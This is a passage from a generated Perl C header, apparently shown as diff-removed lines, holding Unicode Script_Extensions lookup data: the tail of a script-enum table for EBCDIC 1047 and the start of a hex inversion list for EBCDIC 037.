SCX_use_AUX_TABLE_26, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_24, - SCX_use_AUX_TABLE_27, - SCX_Devanagari, - SCX_Bengali, - SCX_use_AUX_TABLE_24, - SCX_Unknown, - SCX_Latin, - SCX_Greek, - SCX_Cyrillic, - SCX_Latin, - SCX_Greek, - SCX_Latin, - SCX_Greek, - SCX_Latin, - SCX_Cyrillic, - SCX_Latin, - SCX_Greek, - SCX_Inherited, - SCX_Unknown, - SCX_Inherited, - SCX_Latin, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_use_AUX_TABLE_28, - SCX_Unknown, - SCX_Common, - SCX_Greek, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Braille, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Latin, - SCX_Coptic, - SCX_Unknown, - SCX_Coptic, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Tifinagh, - SCX_Unknown, - SCX_Tifinagh, - SCX_Unknown, - SCX_Tifinagh, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Cyrillic, - SCX_Common, - SCX_use_AUX_TABLE_3, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_30, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_32, - SCX_use_AUX_TABLE_21, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_33, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_34, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_35, - SCX_Unknown, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_35, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_Unknown, - SCX_use_AUX_TABLE_1, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_1, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_21, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_36, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Yi, - SCX_Unknown, - SCX_Yi, - SCX_Unknown, - SCX_Lisu, - SCX_Vai, - SCX_Unknown, - SCX_Cyrillic, - SCX_use_AUX_TABLE_3, - SCX_Cyrillic, - SCX_Bamum, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Latin, - SCX_Syloti_Nagri, - SCX_Unknown, - SCX_use_AUX_TABLE_37, - SCX_use_AUX_TABLE_38, - SCX_Unknown, - SCX_Phags_Pa, - SCX_Unknown, - SCX_Saurashtra, - SCX_Unknown, - SCX_Saurashtra, - SCX_Unknown, - SCX_Devanagari, - SCX_use_AUX_TABLE_39, - SCX_Devanagari, - SCX_use_AUX_TABLE_40, - SCX_Devanagari, - SCX_Unknown, - SCX_Kayah_Li, - SCX_use_AUX_TABLE_41, - SCX_Kayah_Li, - SCX_Rejang, - SCX_Unknown, - SCX_Rejang, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_Javanese, - SCX_Unknown, - SCX_use_AUX_TABLE_42, - SCX_Javanese, - SCX_Unknown, - SCX_Javanese, - SCX_Myanmar, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Myanmar, - SCX_Tai_Viet, - SCX_Unknown, - SCX_Tai_Viet, - SCX_Meetei_Mayek, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Greek, - SCX_Unknown, - SCX_Cherokee, - SCX_Meetei_Mayek, - SCX_Unknown, - SCX_Meetei_Mayek, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Unknown, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_Cyrillic, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_use_AUX_TABLE_43, - SCX_Unknown, - SCX_use_AUX_TABLE_44, - SCX_Unknown, - SCX_use_AUX_TABLE_43, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Unknown, - SCX_Lycian, - SCX_Unknown, - SCX_Carian, - SCX_Unknown, - SCX_use_AUX_TABLE_45, - SCX_Unknown, - SCX_Old_Italic, - SCX_Unknown, - SCX_Old_Italic, - SCX_Gothic, - SCX_Unknown, - SCX_Old_Permic, - SCX_Unknown, - SCX_Ugaritic, - SCX_Unknown, - SCX_Ugaritic, - SCX_Old_Persian, - SCX_Unknown, - SCX_Old_Persian, - SCX_Unknown, - SCX_Deseret, - SCX_Shavian, - SCX_Osmanya, - SCX_Unknown, - SCX_Osmanya, - SCX_Unknown, - SCX_Osage, - SCX_Unknown, - SCX_Osage, - SCX_Unknown, - SCX_Elbasan, - SCX_Unknown, - SCX_Caucasian_Albanian, - SCX_Unknown, - SCX_Caucasian_Albanian, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Imperial_Aramaic, - SCX_Unknown, - SCX_Imperial_Aramaic, - SCX_Palmyrene, - SCX_Nabataean, - SCX_Unknown, - SCX_Nabataean, - SCX_Unknown, - SCX_Hatran, - SCX_Unknown, - SCX_Hatran, - SCX_Unknown, - SCX_Hatran, - SCX_Phoenician, - SCX_Unknown, - SCX_Phoenician, - SCX_Lydian, - SCX_Unknown, - SCX_Lydian, - SCX_Unknown, - SCX_Meroitic_Hieroglyphs, - SCX_Meroitic_Cursive, - SCX_Unknown, - SCX_Meroitic_Cursive, - SCX_Unknown, - SCX_Meroitic_Cursive, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Old_South_Arabian, - SCX_Old_North_Arabian, - SCX_Unknown, - SCX_Manichaean, - SCX_Unknown, - SCX_Manichaean, - SCX_Unknown, - SCX_Avestan, - SCX_Unknown, - SCX_Avestan, - SCX_Inscriptional_Parthian, - SCX_Unknown, - SCX_Inscriptional_Parthian, - SCX_Inscriptional_Pahlavi, - SCX_Unknown, - SCX_Inscriptional_Pahlavi, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Old_Turkic, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Brahmi, - SCX_Unknown, - SCX_Brahmi, - SCX_Unknown, - SCX_Brahmi, - SCX_Kaithi, - SCX_Unknown, - SCX_Sora_Sompeng, - SCX_Unknown, - SCX_Sora_Sompeng, - SCX_Unknown, - SCX_Chakma, - SCX_Unknown, - SCX_Chakma, - SCX_Unknown, - SCX_Mahajani, - SCX_Unknown, - SCX_Sharada, - SCX_Unknown, - SCX_Sharada, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Khojki, - SCX_Unknown, - SCX_Khojki, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Khudawadi, - SCX_Unknown, - SCX_Khudawadi, - SCX_Unknown, - SCX_Grantha, - SCX_use_AUX_TABLE_18, - SCX_Grantha, - SCX_use_AUX_TABLE_18, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_use_AUX_TABLE_18, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Tirhuta, - SCX_Unknown, - SCX_Tirhuta, - SCX_Unknown, - SCX_Siddham, - SCX_Unknown, - SCX_Siddham, - SCX_Unknown, - SCX_Modi, - SCX_Unknown, - SCX_Modi, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Takri, - SCX_Unknown, - SCX_Takri, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Warang_Citi, - SCX_Unknown, - SCX_Warang_Citi, - SCX_Unknown, - SCX_Zanabazar_Square, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Pau_Cin_Hau, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Egyptian_Hieroglyphs, - SCX_Unknown, - SCX_Anatolian_Hieroglyphs, - SCX_Unknown, - SCX_Bamum, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Bassa_Vah, - SCX_Unknown, - SCX_Bassa_Vah, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Tangut, - SCX_Nushu, - SCX_Unknown, - SCX_Tangut, - SCX_Unknown, - SCX_Tangut, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_35, - SCX_Unknown, - SCX_Nushu, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_SignWriting, - SCX_Unknown, - SCX_SignWriting, - SCX_Unknown, - SCX_SignWriting, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Mende_Kikakui, - SCX_Unknown, - SCX_Mende_Kikakui, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_35, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_Unknown -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_SCX_invlist[] = { /* for EBCDIC 037 */ - 1602, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2E0, - 0x2E5, - 0x2EA, - 0x2EC, - 0x300, - 0x342, - 0x343, - 0x345, - 0x346, - 0x363, - 0x370, - 0x374, - 0x375, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x385, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3E2, - 0x3F0, - 0x400, - 0x483, - 0x484, - 0x485, - 0x487, - 0x488, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x605, - 0x606, - 0x60C, - 0x60D, - 0x61B, - 0x61D, - 0x61E, - 0x61F, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x656, - 0x660, - 0x66A, - 0x670, - 0x671, - 0x6DD, - 0x6DE, - 0x700, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x750, - 0x780, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x900, - 0x951, - 0x952, - 0x953, - 0x964, - 0x965, - 0x966, - 0x970, - 0x980, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAA, - 0xBAB, - 0xBAE, - 0xBB5, - 0xBB6, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF3, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE40, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFD5, - 0xFD9, - 0xFDB, - 0x1000, - 0x1040, - 0x104A, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1100, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x1680, - 0x169D, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 